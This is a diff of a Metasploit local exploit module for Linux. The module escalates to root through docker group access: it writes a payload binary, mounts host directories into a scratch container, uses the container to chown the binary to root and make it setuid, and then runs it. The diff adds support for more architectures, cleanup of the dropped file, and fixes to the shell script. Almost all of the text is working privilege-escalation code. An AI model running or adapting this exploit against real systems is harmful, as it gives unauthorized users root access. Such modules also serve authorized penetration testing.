@@ -11,6 +11,7 @@ class MetasploitModule < Msf::Exploit::Local
11
11
Rank = ExcellentRanking
12
12
include Msf ::Exploit ::EXE
13
13
include Msf ::Post ::File
14
+ include Msf ::Exploit ::FileDropper
14
15
15
16
def initialize ( info = { } )
16
17
super ( update_info ( info , {
@@ -23,12 +24,13 @@ def initialize(info={})
23
24
'Author' => [ 'forzoni' ] ,
24
25
'DisclosureDate' => 'Jun 28 2016' ,
25
26
'Platform' => 'linux' ,
26
- 'Arch' => [ ARCH_X86 , ARCH_X86_64 ] ,
27
+ 'Arch' => [ ARCH_X86 , ARCH_X86_64 , ARCH_ARMLE , ARCH_MIPSLE , ARCH_MIPSBE ] ,
27
28
'Targets' => [ [ 'Automatic' , { } ] ] ,
29
+ 'DefaultOptions' => { 'PrependFork' => true } ,
28
30
'SessionTypes' => [ 'shell' , 'meterpreter' ]
29
31
}
30
32
) )
31
- register_options ( [
33
+ register_advanced_options ( [
32
34
OptInt . new ( "ListenerTimeout" , [ true , "Number of seconds to wait for the exploit" , 60 ] ) ,
33
35
OptString . new ( "WritableDir" , [ true , "A directory where we can write files" , "/tmp" ] )
34
36
] , self . class )
@@ -45,15 +47,19 @@ def check
45
47
46
48
def exploit
47
49
pl = generate_payload_exe
48
- exe_file = "#{ datastore [ 'WritableDir' ] } /#{ rand_text_alpha ( 3 + rand ( 5 ) ) } .elf"
49
- print_status ( "Writing payload executable to '#{ exe_file } '" )
50
- write_file ( exe_file , pl )
51
- cmd_exec ( "chmod +x #{ exe_file } " )
52
- vprint_status shell_script ( exe_file )
53
- vprint_status cmd_exec ( "sh -c '#{ shell_script ( exe_file ) } '" )
50
+ exe_path = "#{ datastore [ 'WritableDir' ] } /#{ rand_text_alpha ( 6 + rand ( 5 ) ) } "
51
+ print_status ( "Writing payload executable to '#{ exe_path } '" )
52
+
53
+ write_file ( exe_path , pl )
54
+ register_file_for_cleanup ( exe_path )
55
+
56
+ print_status ( "Executing script to create and run docker container" )
57
+ vprint_status cmd_exec ( "chmod +x #{ exe_path } " )
58
+ vprint_status shell_script ( exe_path )
59
+ vprint_status cmd_exec ( "sh -c '#{ shell_script ( exe_path ) } '" )
54
60
55
61
stime = Time . now . to_f
56
- print_status "Starting the payload handler... "
62
+ print_status "Waiting for payload"
57
63
until session_created? || stime + datastore [ 'ListenerTimeout' ] < Time . now . to_f
58
64
Rex . sleep ( 1 )
59
65
end
@@ -62,11 +68,12 @@ def exploit
62
68
def shell_script ( exploit_path )
63
69
deps = %w( /bin /lib /lib64 /etc /usr /opt ) + [ datastore [ 'WritableDir' ] ]
64
70
dep_options = deps . uniq . map { |dep | "-v #{ dep } :#{ dep } " } . join ( " " )
71
+
65
72
%Q{
66
- IMG=`echo "FROM scratch\\ nCMD a" | docker build -q - | cut -d ":" -f2`
73
+ IMG=`( echo "FROM scratch"; echo "CMD a") | docker build -q - | cut -d ":" -f2`
67
74
EXPLOIT="chown 0:0 #{ exploit_path } ; chmod u+s #{ exploit_path } "
68
75
docker run #{ dep_options } $IMG /bin/sh -c "$EXPLOIT"
69
- docker rmi $IMG
76
+ docker rmi -f $IMG
70
77
#{ exploit_path }
71
78
} . strip . split ( "\n " ) . map ( &:strip ) . join ( ';' )
72
79
end
0 commit comments